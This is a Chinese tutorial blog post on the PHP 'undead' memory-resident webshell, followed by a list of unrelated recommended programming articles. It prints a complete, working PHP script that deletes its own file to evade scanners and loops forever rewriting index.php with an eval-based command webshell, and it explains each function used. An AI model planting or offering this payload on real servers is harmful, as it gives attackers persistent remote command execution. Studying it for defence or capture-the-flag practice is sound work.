PHP内存马:不死马

内存马概念

内存马是无文件攻击的一种常用手段,利用中间件的进程执行某些恶意代码。首先要讲的是PHP不死马,实质上就是直接用代码弄一个死循环,强占一个 PHP 进程,并不间断的写一个PHP shell,或者执行一段代码。

不死马剖析

php 复制代码
<?php
    set_time_limit(0);
    ignore_user_abort(1);
    unlink(__FILE__);
    while (1) {
        $content = '<?php @eval($_GET["cmd"]);?>';
        file_put_contents("index.php", $content);
        usleep(10000);
    }   
?>
  • set_time_limit()函数:设置允许脚本运行的时间,单位为秒(如果设置该运行时间,sleep()函数在执行程序时的持续时间将会被忽略掉)
  • ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行(如果设置为True,则忽略与用户的断开)
  • unlink(FILE)函数:删除文件(防止文件落地被检测工具查杀)
  • file_put_contents函数:将一个字符串写入该文件中
  • usleep函数:延迟执行当前脚本数微秒,即条件竞争

需要特别注意的是,执行 unlink( _ _ FILE _ _ ) 并不会删除正在运行的 PHP 脚本本身,因为脚本在执行过程中已经被加载到内存中。相反,它会删除磁盘上的文件,如果文件正在被其他进程使用,删除操作可能会失败。

相关推荐
奔跑的石头_1 分钟前
GO语言的主要语法和特性
开发语言
帅得不敢出门16 分钟前
Docker安装Ubuntu搭建Android SDK编译环境
android·ubuntu·docker
liulilittle17 分钟前
UNIX/macOS路由表查询原理与实现
服务器·开发语言·c++·macos·unix·编程语言
tangweiguo0305198729 分钟前
Android Kotlin 动态注册 Broadcast 的完整封装方案
android·kotlin
fatiaozhang952737 分钟前
浪潮CD1000-移动云电脑-RK3528芯片-2+32G-安卓9-2种开启ADB ROOT刷机教程方法
android·网络·adb·电脑·电视盒子·刷机固件·机顶盒刷机
HUST38 分钟前
C语言 第三讲:分支和循环(上)
c语言·开发语言
Dovis(誓平步青云)1 小时前
《探索C++11:现代语法的性能优化策略(中篇)》
开发语言·c++
前行的小黑炭1 小时前
Android 不同构建模式下使用不同类的例子:如何在debug模式和release模式,让其使用不同的类呢?
android·kotlin·gradle
再努力"亿"点点1 小时前
爬取m3u8视频完整教程
开发语言·python
一个响当当的名号1 小时前
c++primer 个人学习总结-模板和泛型编程
开发语言·c++·学习